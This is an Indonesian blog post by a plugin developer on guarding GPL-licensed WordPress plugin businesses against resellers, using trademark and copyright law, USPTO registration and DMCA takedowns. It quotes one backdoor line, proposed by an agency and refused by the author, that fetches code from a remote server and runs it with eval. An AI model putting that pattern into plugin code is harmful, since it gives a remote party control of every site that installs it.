Panduan Utama untuk Melindungi Bisnis Plugin WordPress GPL Anda Secara Legal dari Troll

Lisensi perangkat lunak bisa menjadi subjek yang sangat membingungkan, terutama di dunia sumber terbuka. Batas legalitas dan etika tidak selalu jelas. Tetapi karena pemilik bisnis berfokus pada penjualan plugin WordPress GPL, tugas kita adalah memahami topik ini secara menyeluruh.

Posting ini tidak akan membahas etika dan akan fokus pada pertimbangan hukum. Ini akan memberi Anda formula yang dapat ditindaklanjuti selangkah demi selangkah, termasuk umpan balik dari pengacara berpengalaman di bidang ini, untuk melindungi bisnis WordPress Anda dari 'troll' plugin.

Sebagai pengembang plugin selama lima tahun terakhir, saya telah membaca banyak artikel yang membahas GPL, kebebasannya, dan tantangan yang terkait dengan menjalankan bisnis yang sesuai dengan GPL. Tetapi dalam beberapa bulan terakhir, topik ini menjadi lebih penting bagi saya.

Pada bulan Agustus, akun Twitter bernama Plugin WordPress (https://twitter.com/plugswp) mengikuti saya. Sebagai kebiasaan, saya memeriksa profil mereka untuk mempelajari lebih lanjut tentang pengguna itu. Saya segera menemukan bahwa pawang dikaitkan dengan 'wppluginscheap.com,' sebuah plugin & tema 'troll' yang menyebut dirinya sebagai "sumber nomor 1 untuk Plugin dan Tema WordPress Premium Murah." Menjelajah situs, saya menemukan banyak plugin premium populer seperti Yoast SEO, Backup Buddy, WP Robot, dan 50 tema premium. Setiap produk dijual dengan harga kurang dari $10.

Naif seperti saya, saya melompat ke WPChat dan memulai utas baru:

Kami telah melakukan semua pengkodean di bawah ancaman bahwa beberapa troll akan muncul dan menjual kembali plugin / tema GPL kami dengan harga yang konyol. Nah… di sini Bagaimana kalau membeli Yoast Premium SEO seharga $4,00… Saya sedikit kesal dan di sisi lain geli karena saya tahu itu akan muncul suatu hari nanti.

Saya mengajukan dua pertanyaan kepada komunitas:
1. Bagaimana cara menghapusnya?
2. Apakah Anda merasa terancam?

Secara paralel, saya pergi ke grup Facebook WordPress Lanjutan, dan mengunggah status berikut:

Joost de Valk dan Thomas Hofter kecuali Anda mulai menjual plugin Anda dengan harga di bawah $10, saya pikir orang-orang ini melanggar merek dagang Anda (dan selusin pengembang plugin lainnya). Bagaimana kita menurunkannya?

Jika Anda adalah anggota grup AWP, Anda dapat memeriksa seluruh utasnya di sini.

Kedua utas tersebut menghasilkan banyak minat dan diskusi. Saya menerima 17 balasan di WPChat dan 84 komentar di grup Facebook AWP. Begitu balasan mulai menumpuk, saya menyadari dua hal:
1. Plugin WordPress / troll tema adalah epidemi – itu terjadi di mana-mana!

Ini telah terjadi untuk waktu yang lama, meskipun sebagian besar dengan tema dan add-on WooCommerce. Lihat gplclub.org dan sozot.com. WPAvengers.com melakukan hal serupa sebelum ditutup.

– Leland Fiegel, Pendiri WPChat

2. Meskipun ada ratusan posting blog tentang setiap aspek dari lisensi GPL, masih banyak kebingungan di ekosistem. Bahkan di antara influencer. Sepertinya banyak orang berpikir secara teknis OK (walaupun tidak etis) untuk melakukannya karena plugin dan tema dilisensikan di bawah GPL.

Oportunis ini muncul sesekali dan sepertinya tidak pernah berarti apa-apa. Ini legal (bagian GPL, bagaimanapun) tetapi tidak etis. Ini malas. Dan itu buruk bagi pelanggan karena barangnya dalam kondisi yang meragukan, ketinggalan zaman, tidak mendukung dan mencurigakan.

– Steven Gliebe, Pengembang Tema dan Pendiri Direktori Plugin Pro

Ini tidak etis, namun jika saya sebagai pemilik toko tema/plugin merilis di bawah GPL, saya akan mengatakan itu, saya merasa bahwa saya bahkan lebih tidak etis jika saya bisa mengatakan ini daripada orang-orang itu, dan benar-benar munafik.

– Ionut Neagu, Pendiri CodeinWP

Komentar lain yang diterima di Facebook termasuk:

• Jika plugin dilisensikan di bawah GPL, maka saya khawatir mereka tidak dapat melakukan apa-apa
• Saya tidak berpikir versi premium berada di bawah GPL
• Ini legal, di bawah GPL

Dan masih banyak lagi!

Jadi sebelum kita mulai, izinkan saya menjelaskan sesuatu —

Ini sepenuhnya salah!

Pengembang masih memiliki hak yang dapat ditegakkan meskipun plugin mereka didistribusikan di bawah lisensi sumber terbuka.
'Plugin Troll' ini mungkin masih bertanggung jawab atas pelanggaran merek dagang dan/atau pelanggaran hak cipta.

Saya ingin menambahkan bahwa saya telah membaca banyak pendapat yang mengatakan bahwa tidak ada kerugian yang dilakukan bisnis oleh troll itu. Jika itu masalahnya, saya tidak akan repot-repot menghabiskan begitu banyak waktu untuk menyusun posting ini. Saya ingin mengambil kesempatan untuk menjelaskan alasan mengapa troll buruk bagi komunitas WordPress – untuk bisnis Anda dan juga untuk pengguna WordPress.

Mengapa plugin troll buruk untuk bisnis plugin Anda?

Pendapatan yang Hilang

Suka atau tidak, sebagian besar pengguna akan membeli atau mendapatkan plugin premium Anda dari situs web ini. Terutama pemula WordPress. Jika saya baru mengenal ekosistem WordPress dan mencari plugin SEO, Yoast SEO seharga $4 terdengar jauh lebih menarik daripada harga penuh. Saya hanya akan membelinya. Sama seperti saya yang selalu mencari diskon terbaik saat membeli smartphone atau produk lainnya. Saya tidak memerlukan "garansi asli" karena saya tidak pernah menggunakannya dengan produk apa pun yang saya beli, jadi dukungan bukanlah sesuatu yang ada dalam pikiran pengguna sejak awal.

Dukungan Penyalahgunaan

Jika ada masalah dengan plugin yang dibeli dari troll – tebak siapa yang disalahkan untuk itu? Tentu saja pengembang/perusahaan yang sebenarnya. Jika karya seni yang terkait dengan merek Anda direplikasi, pelanggan akan menghubungi Anda. Sama seperti jika saya membeli smartphone HTC di Amazon, ketika saya memiliki masalah dengan perangkat saya menghubungi dukungan teknis HTC, bukan Amazon. Apa yang akan Anda katakan kepada pengguna? "Ya, ini ponsel kami, tetapi Anda perlu menghubungi Amazon untuk dukungan teknis." Respons ini akan sulit dicerna oleh pengguna. Ini akan terlihat seperti Anda tidak berdiri di belakang produk Anda.

Jika ada masalah dengan plugin yang dibeli dari troll – tebak siapa yang disalahkan? Tweet

Kerusakan Merek

Tidak diragukan lagi bahwa beberapa troll menyuntikkan kode berbahaya ke dalam plugin. Insentif utama untuk melakukan ini adalah untuk menghasilkan pendapatan sambil mendistribusikan plugin premium secara gratis. Saya sendiri telah menyaksikan ini. Dua tahun lalu, saya didekati oleh seorang pria SEO senior dari agensi yang berbasis di BIG UK (lebih dari 100 karyawan). . Dia menawarkan untuk bermitra dengan saya dengan menambahkan satu baris kode sederhana ke plugin kami:
eval(wp_remote_get( 'http://www.company.com/path/to/api/endpoint/' )['body']);

Idenya adalah bahwa titik akhir API akan mengembalikan URL tersembunyi untuk mendorong tautan balik perusahaan portofolio mereka. Salah satu contoh yang dia kirimkan adalah:

<a href="”http://www.portfolio-company.com”">Great Company</a>

Troll dapat menyuntikkan kode berbahaya ke dalam plugin saat menggunakan merek asli Anda, kerusakan langsung pada merek Anda! Tweet

Ini sebelum Google Penguin dan merupakan peretasan SEO yang hebat. Dan tawarannya juga fantastis – $0,1 per domain per bulan. Jadi jika saya memiliki 100.000 domain aktif menggunakan plugin saya, saya dapat menghasilkan $10.000 / bln. pendapatan tanpa menghabiskan satu menit ekstra. Mengagumkan bukan? Jelas kami tidak melakukannya, karena berbagai alasan, terutama karena kode ini SANGAT berbahaya. Ini membuka pintu belakang jarak jauh untuk melakukan apa pun yang Anda inginkan dengan situs. Bahkan jika agensi hanya bermaksud menggunakannya untuk SEO, apa yang terjadi jika server mereka diretas dan seseorang dengan niat buruk mengambil alih? Siapa yang tahu berapa banyak plugin WordPress.org yang sah yang bermitra dengan agensi itu… Kembali ke troll, niat mereka murni finansial. Mereka tidak mempromosikan plugin premium Anda untuk bersenang-senang, mereka ingin menghasilkan uang. Dan jika mereka melakukan hal-hal ilegal seperti pelanggaran hak cipta dan merek dagang, tidak ada yang menghentikan mereka untuk menghasilkan aliran pendapatan alternatif seperti injeksi kode. Oh, dan saya lupa menyebutkan bahwa jika hal seperti itu terjadi, Andalah yang harus disalahkan! Ini produk Anda, dan merek Anda.

Mengapa plugin troll buruk bagi pengguna?

Untuk banyak alasan yang sama yang saya sebutkan, tetapi dari sudut pandang pengguna.

Tidak Ada Dukungan

Saat menghadapi masalah teknis, troll tidak bisa membantu Anda. Ini bukan produk mereka, mereka tidak memiliki petunjuk tentang kode atau bagaimana memecahkan masalah terkait. Selain itu, mereka tidak memiliki sumber daya pendukung untuk melakukannya. Dan jika Anda akan mencoba menghubungi perusahaan asli, pengembang plugin premium memiliki infrastruktur untuk melacak pelanggan mereka. Perusahaan sering tidak akan membantu Anda sampai Anda membeli lisensi asli.

Redistributor ilegal plugin tidak dapat dan tidak akan membantu Anda dengan masalah teknis. Tweet

Tidak Ada Pembaruan Otomatis

Sebagian besar plugin premium di pasaran saat ini memiliki mekanisme lisensi dan pembaruan (troll sering 'meretas' bagian ini sebelum mendistribusikan ulang plugin). Cara kerja mekanisme pembaruan otomatis ini adalah setiap 24 jam sekali, plugin memeriksa server perusahaan asli untuk melihat apakah ada pembaruan untuk versi premium. Itu juga mengautentikasi dengan kunci lisensi. Karena plugin troll tidak pernah dikeluarkan dengan kunci lisensi dari perusahaan asli, mekanisme pembaruan ini TIDAK akan berfungsi. Oleh karena itu, setiap kali plugin premium non-asli dipasang, tidak ada pembaruan otomatis. Ini buruk karena peretas terus-menerus menemukan kerentanan kreatif baru dan plugin premium yang ketinggalan zaman bisa menjadi kebocoran keamanan itu.

Plugin WordPress bajakan tidak memiliki mekanisme pembaruan otomatis – kerentanan keamanan konstan! Tweet

Kebocoran Keamanan Utama

Ingat satu baris kode berbahaya yang saya sebutkan di atas? Apakah Anda ingin pintu belakang situs Anda terbuka untuk peretas? Pintu belakang ini benar-benar memungkinkan peretas untuk memodifikasi setiap piksel dan konten di situs Anda. Dan itu hanya satu contoh, saya yakin ada banyak suntikan kreatif lainnya di luar sana.

Apa yang dicakup oleh lisensi open source?

Karena jelas ada banyak kebingungan tentang masalah ini di komunitas pengembang, saya menghubungi teman saya, Ariel Reinitz dan rekannya Matthew Hintz yang merupakan pengacara Kekayaan Intelektual (IP) (paten, merek dagang, dan hak cipta) di Lowenstein Sandler LLP, sebuah perusahaan nasional dengan kantor dari New York ke Palo Alto.

Ariel menjelaskan kepada saya bahwa sementara plugin WP 'troll' secara teknis berhak untuk mendistribusikan ulang kode yang berada di bawah lisensi open source (misalnya, GPL), ada hak kekayaan intelektual ('IP') lain yang tidak tercakup dalam open source lisensi yang mungkin masih dilanggar oleh 'troll' ini.

Inilah yang dikatakan Ariel tentang GPL:

Penting untuk memahami apa yang termasuk dalam lisensi open source (GPLv2) di mana sebagian besar plugin WordPress didistribusikan, (dan tidak):

Lisensi sumber terbuka menentukan bagaimana perangkat lunak/kode sumber didistribusikan. Umumnya, lisensi tersebut memungkinkan siapa saja untuk menggunakan, memodifikasi, dll., perangkat lunak/kode tanpa biaya. Dengan demikian, kode sumber proyek open source dapat didistribusikan kembali oleh pihak lain tanpa melanggar ketentuan GPL.

Dengan kata sederhana – kebebasan GPL memungkinkan siapa saja untuk mengambil kode sumber dan melakukan apapun yang dia inginkan dengannya, termasuk distribusi. Saya percaya bahwa ada konsensus tentang bagian itu di masyarakat.

Apa yang tidak tercakup dalam lisensi open source?

Namun, lisensi sumber terbuka (termasuk GPLv2) umumnya tidak mencakup merek dagang. Merek dagang berkaitan dengan cara merek suatu produk (misalnya, plugin, tema, aplikasi, dll.) – misalnya, nama produk (dan/atau perusahaan tempat produk itu berasal), tagline/slogannya, dan / atau logonya. Jadi, walaupun kode sumber suatu proyek dapat didistribusikan kembali secara bebas di bawah lisensi sumber terbuka, lisensi tersebut tidak memberikan hak apa pun kepada pihak lain sehubungan dengan merek dagang yang terkait dengan proyek tersebut (misalnya, nama produk, perusahaan yang mengembangkannya, dll.).

Dengan kata non-pengacara – GPL tidak mengizinkan untuk menggunakan merek dagang plugin seperti nama produk, nama perusahaan, dan logo. Ariel memberi kita contoh:

Jadi, misalnya, jika pihak ketiga mendistribusikan ulang plugin WordPress menggunakan semua merek asli proyek (misalnya, mempromosikannya dengan nama asli, logo, dll., dari perusahaan/proyek), ini kemungkinan akan melanggar merek dagang pengembang asli. hak. Sebagaimana dicatat, lisensi open source tidak mengizinkan seseorang untuk menggunakan merek orang lain dalam konteks komersial. Hal ini penting karena salah satu prinsip utama undang-undang merek dagang adalah untuk melindungi konsumen dari kebingungan tentang dari mana suatu produk berasal.

Prinsip utama undang-undang merek dagang tidak hanya untuk melindungi bisnis, tetapi juga untuk melindungi konsumen dari kebingungan tentang dari mana suatu produk berasal. Itu catatan penting!

Penting juga untuk mengetahui bahwa banyak perusahaan sumber terbuka mendaftarkan, melindungi, dan mengawasi hak merek dagang mereka. Contohnya meliputi: Linux , MySQL , Red Hat , dan WordPress .

Apa yang Ariel katakan di sini adalah bahwa banyak nama besar di sumber terbuka melindungi dan mengawasi hak merek dagang mereka. Mengapa kita tidak melakukan hal yang sama?

Jika Red Hat dapat melindungi dan mengawasi hak merek dagang mereka, mengapa pengembang plugin tidak bisa? Tweet

Selain hak merek dagang, Ariel menunjukkan bahwa pengembang juga berhak atas perlindungan hak cipta atas materi yang mereka hasilkan yang bukan merupakan bagian dari kode sumber:

Penting juga untuk mengetahui bahwa GPL (dan lisensi sumber terbuka lainnya) hanya mencakup kode sumber plugin itu sendiri. Namun, jika pengembang membuat materi yang bukan merupakan bagian dari kode sumber (misalnya, grafik, materi promosi, kemasan, dll.), materi tersebut tidak akan termasuk dalam GPL dan pengembang tidak berkewajiban untuk mengizinkan pihak lain untuk mendistribusikan kembali materi.

Misalnya, lihat bagaimana plugin 'Yoast' ditampilkan di beberapa situs 'troll' yang dirujuk di atas. Meskipun situs tersebut secara teknis dapat mendistribusikan ulang kode sumber Yoast (karena berada di bawah GPL), situs ini juga memasukkan elemen seperti merek Yoast (misalnya, nama dan logo Yoast, yang merupakan merek dagang ) serta materi kreatif lainnya yang dikembangkan oleh Yoast (misalnya, grafik pria yang minum teh yang bukan merupakan bagian dari kode sumber Yoast dan dengan demikian hak cipta dimiliki oleh Yoast dan tidak tunduk pada GPL).

Jadi – sementara troll mungkin berhak secara hukum untuk mendistribusikan ulang kode sumber Yoast, GPL (atau lisensi sumber terbuka lainnya) tidak memberi mereka hak untuk menggunakan (a) merek (merek dagang) Yoast atau (b) grafik, materi, dll. ., (hak cipta) . Karena mereka bukan bagian dari kode sumber plugin, item ini tidak termasuk dalam GPL dan oleh karena itu hak kekayaan intelektual (IP) untuk item ini adalah satu-satunya milik pengembang .

Karena plugin 'troll' menggunakan merek dagang pengembang dan materi berhak cipta (seperti dalam contoh 'Yoast' di atas), ada prosedur hukum (seperti yang akan kami jelajahi secara rinci di bawah) yang dapat digunakan pengembang untuk menegakkan hak-hak ini untuk hentikan, cegah, atau setidaknya coba batasi dampak 'troll' ini terhadap bisnis Anda. Sekali lagi, ini benar meskipun plugin Anda didistribusikan di bawah GPL.

Apa yang dilindungi oleh merek dagang?

Matthew menjelaskan apa yang dicakup oleh merek dagang:

Sederhananya, merek dagang adalah pengenal unik bagi konsumen yang membedakan sumber barang atau jasa dari yang lain. Paling sering, merek dagang adalah kata, logo, atau kombinasi dari elemen-elemen itu. Di Amerika Serikat, hak merek dagang dimulai dengan penggunaan dalam perdagangan (disebut "hak hukum umum"), bukan melalui pendaftaran ke Kantor Paten & Merek Dagang Amerika Serikat (USPTO). Namun, pendaftaran merek dagang Anda dengan USPTO memberi pemilik banyak manfaat yang tidak tersedia melalui hak hukum umum. Khususnya, ini termasuk bukti hak eksklusif pendaftar untuk menggunakan merek di seluruh Amerika Serikat sehubungan dengan barang atau jasa yang ditetapkan dalam pendaftaran, pemberitahuan konstruktif bahwa pendaftar adalah pemilik merek dagang, daftar pendaftaran di USPTO's database online, dan kemampuan menggunakan simbol. (Sebelum pendaftaran, simbol TM dapat digunakan dengan merek dagang.)

Apakah kode dilindungi oleh merek dagang?

Selama penelitian saya, saya membaca beberapa posting yang menyebutkan bahwa ketika mem-forking plugin atau tema berlisensi GPL, kode harus di-refactored untuk memastikan tidak ada fungsi yang menyertakan pengenal merek dagang sebagai bagian dari nama fungsi. Untuk memperjelas itu, saya bertanya kepada Matthew apakah kode juga dilindungi oleh merek dagang, dan inilah jawabannya:

Kode itu sendiri tidak dilindungi oleh merek dagang. Merek dagang melindungi kata atau logo yang diasosiasikan konsumen dengan barang atau jasa Anda. Batasan perlindungan merek dagang untuk sebuah plugin adalah kata atau logo yang digunakan untuk memasarkan plugin kepada konsumen. Dan kemudian ujian mendasar untuk pelanggaran merek dagang adalah apakah konsumen kemungkinan akan dibingungkan oleh kesamaan kedua merek tersebut. Kesamaan dinilai dengan melihat hal-hal seperti kesamaan visual dan fonetik, seberapa erat keterkaitan barang/jasa untuk setiap merek, seberapa khas merek tersebut, dan sudah berapa lama merek tersebut digunakan.

Untuk memperjelas jawaban dalam bahasa yang ramah pengembang:

• Nama kelas, nama fungsi, nama variabel, dan nama konstanta TIDAK dilindungi oleh merek dagang.
• Di sisi lain, string yang dicetak ke halaman dan terlihat oleh pengguna akhir – dilindungi oleh merek dagang.

Bagaimana cara mengajukan pendaftaran merek dagang?

Untuk mendapatkan manfaat dari pendaftaran federal merek dagang, merek dagang Anda harus terdaftar di USPTO. Permohonan untuk mendaftar harus menyertakan informasi dasar: nama pemohon/pemilik, merek, barang atau jasa yang menggunakan merek tersebut, bukti penggunaan merek dengan barang atau jasa tersebut, dan tanggal penggunaan pertama merek tersebut. . Pertimbangan untuk aplikasi Anda:

• Cari database TESS (http://www.uspto.gov/trademark ) USPTO untuk tanda yang sama atau serupa. Jika merek yang sama atau serupa diterapkan untuk atau sudah terdaftar, ini dapat menjadi dasar untuk penolakan aplikasi Anda. Cari juga melalui Google atau layanan pencarian lainnya karena merek dapat digunakan tanpa registrasi dan memiliki hak superior atas merek tersebut meskipun Anda telah mendaftar. Pendaftaran tidak menghilangkan hak merek dagang pengguna sebelumnya.
• Untuk menjelaskan barang atau jasa Anda, cari Manual ID USPTO untuk bahasa yang dapat diterima: http://tess2.uspto.gov/netahtml/tidm.html . Anda juga dapat mencari bahasa yang dapat diterima di TESS.
• Kelas adalah indikasi umum yang berkaitan dengan bidang tertentu untuk barang atau jasa. Misalnya, plugin yang dapat diunduh biasanya berada di Kelas 9 yang mencakup semua program dan perangkat lunak komputer.
• Biaya untuk aplikasi merek dagang ditentukan oleh jumlah kelas. Biaya umum adalah $ 275 per kelas, tetapi opsi pengarsipan yang lebih rendah dan lebih mahal tersedia.

Setelah aplikasi diajukan, USPTO akan memeriksa aplikasi untuk menentukan apakah merek tersebut merupakan pengidentifikasi unik (yaitu, tidak deskriptif atau mirip dengan aplikasi atau pendaftaran yang diajukan sebelumnya). USPTO menyediakan jadwal untuk aplikasi: http://www.uspto.gov/trademark/trademark-timelines/trademark-application-and-post-registration-process-timelines .

Perlu diingat bahwa perlindungan merek dagang bersifat teritorial. Misalnya, pendaftaran di Amerika Serikat akan memberikan perlindungan merek dagang di Amerika Serikat.

Seperti yang dijelaskan Matthew, prosesnya tidak selalu rumit – tetapi membutuhkan waktu dan usaha. Saya akan merekomendasikan membayar pengacara tingkat menengah untuk melakukannya untuk Anda. Anda harus membayar antara $200-$2.000 untuk pekerjaan itu, meskipun itu akan menghemat waktu Anda dan memastikan aplikasi yang lebih baik. Bagaimanapun, sebelum Anda mulai, Google itu! Jika Anda menemukan produk atau perusahaan (khususnya di bidang yang sama atau serupa) yang cocok dengan istilah/frasa persis Anda, kemungkinan besar Anda TIDAK akan dapat mendaftarkan merek dagang (dan Anda mungkin benar-benar melanggar merek dagang orang lain' ).

Apa yang harus dilakukan ketika merek dagang Anda dilanggar?

Saya akan mulai dengan apa yang TIDAK boleh Anda lakukan – jika itu adalah pelanggaran merek dagang, bukan hak cipta, Anda TIDAK boleh mengajukan penghapusan DMCA.

DMCA HANYA mencakup pelanggaran hak cipta. Tidak ada ketentuan serupa yang tersedia untuk merek dagang. Menggunakan pemberitahuan penghapusan DMCA untuk klaim merek dagang dapat mengakibatkan penggugat bertanggung jawab atas pernyataan palsu.

Biasanya paling mudah untuk mencoba menyelesaikan masalah secara langsung dengan pemilik situs web. Jika ini tidak berhasil, Anda dapat melakukan tindakan hukum terhadap pemilik situs web, host, dll. Pendekatan spesifik yang Anda ambil kemungkinan akan bersifat spesifik kasus dan pada titik ini, saya sarankan menghubungi pengacara untuk memahami opsi terbaik dalam situasi spesifik Anda. .

Apa yang dilindungi oleh hak cipta?

Hak cipta berbeda dengan merek dagang. Hak cipta melindungi karya asli dari kepengarangan yang ditetapkan dalam beberapa media ekspresi. Namun, batasan perlindungan hak cipta adalah bahwa hal itu hanya mencakup ekspresi, bukan gagasan. Kategori karya untuk perlindungan hak cipta termasuk karya sastra (buku, kode), karya musik, foto dan gambar, film, rekaman suara, dan kategori lainnya. Batasan lainnya adalah bahwa hak cipta tidak melindungi frasa atau ekspresi pendek – yang tetap untuk perlindungan merek dagang, selama itu berfungsi sebagai pengenal unik bagi konsumen yang membedakan sumber barang atau jasa dari yang lain.

Apa yang harus dilakukan ketika hak cipta Anda dilanggar?

1. Awalnya, seringkali paling mudah untuk mencoba menghubungi pemilik situs web secara langsung. Dalam banyak kasus, pemilik situs web tidak lebih tertarik daripada Anda dalam mendaftarkan pengacara, terlibat dalam proses hukum, dll. Cobalah untuk menemukan akun twitter, email kontak atau halaman kontak di situs, dan kirim pesan yang menuntut penghapusan plugin bermerek dagang Anda dari situs web.
2. Jika tidak membantu, Anda dapat mengirimkan pemberitahuan penghapusan DMCA (Digital Millennium Copyright Act). Ada banyak generator untuk membantu Anda membuatnya, cukup google untuk “dmca takedown generator”. Setelah mendapatkan pemberitahuan, Anda harus mengirimkannya ke pemilik situs, perusahaan hosting, dan ISP. Anda juga dapat mengirimkan pemberitahuan ke mesin pencari untuk menghapus situs dari hasil pencarian. Untuk menemukan perusahaan hosting Anda dapat menggunakan situs web seperti whoishostingthis.com. Untuk menemukan ISP Anda dapat menggunakan situs web seperti http://www.whoismyisp.org/. Untuk menemukan tautan yang relevan untuk mengajukan DMCA ke ISP / Hosting, google untuk ISP_NAME / HOSTING_NAME + DMCA.

Atau, Anda dapat melakukan tindakan hukum terhadap pemilik situs web, host, dll. Saya sarankan untuk menghubungi pengacara untuk memahami apakah ini merupakan pilihan terbaik atau bukan dalam situasi khusus Anda.

Kesimpulan

Saya harap rangkaian petunjuk langkah demi langkah ini memberdayakan Anda dengan alat yang tepat untuk melindungi bisnis plugin GPL Anda dari troll. Hanya rekap:

• Sebagai pemilik bisnis, Anda memenuhi syarat, dan harus melindungi merek dan aset perusahaan Anda.
• Merek dagang dan hak cipta adalah cara yang relatif murah & efektif untuk melindungi bisnis plugin Anda secara legal. Oleh karena itu, Anda harus sangat mempertimbangkan untuk mendaftarkan merek dagang untuk nama perusahaan dan nama produk Anda.
• Banyak troll melanggar hak cipta (misalnya, dengan mengangkat grafik promosi Anda) dan merek dagang (dengan menggunakan nama merek Anda). Dengan membuat nama merek, logo, dan karya seni yang unik, Anda menghasilkan portofolio untuk membantu memerangi pelanggaran hak cipta.

Banyak troll melanggar hak cipta dan merek dagang. Dengan membuat nama merek, logo, dan karya seni yang unik, Anda menghasilkan portofolio untuk membantu memerangi pelanggaran hak cipta. Tweet

Jika situs web pihak ketiga mencantumkan plugin atau tema GPL premium Anda, untuk dijual atau diberikan, tanpa persetujuan Anda:

• Jika situs web menggunakan karya seni asli Anda atau materi lain – itu kemungkinan pelanggaran hak cipta. Anda dapat mengajukan penghapusan DMCA.
• Jika situs web menggunakan merek dagang perusahaan atau produk Anda, kemungkinan itu merupakan pelanggaran merek dagang. Anda dapat memulai proses hukum terhadap situs web.

Jika Anda memiliki pemikiran tambahan tentang implikasi hukum dan etika GPL, jangan ragu untuk membagikannya di komentar di bawah.

Referensi bagus:

• Pemberitahuan Penghapusan DMCA Dikeluarkan Terhadap Fork Of WP Migrate DB Pro
• Lisensi GPL Tidak Memberikan Kebebasan Untuk Melanggar Merek Dagang Terdaftar
• Apakah GPL WordPress Disalahgunakan?
• Mengapa Kami Membayar Untuk Kode Berlisensi GPL?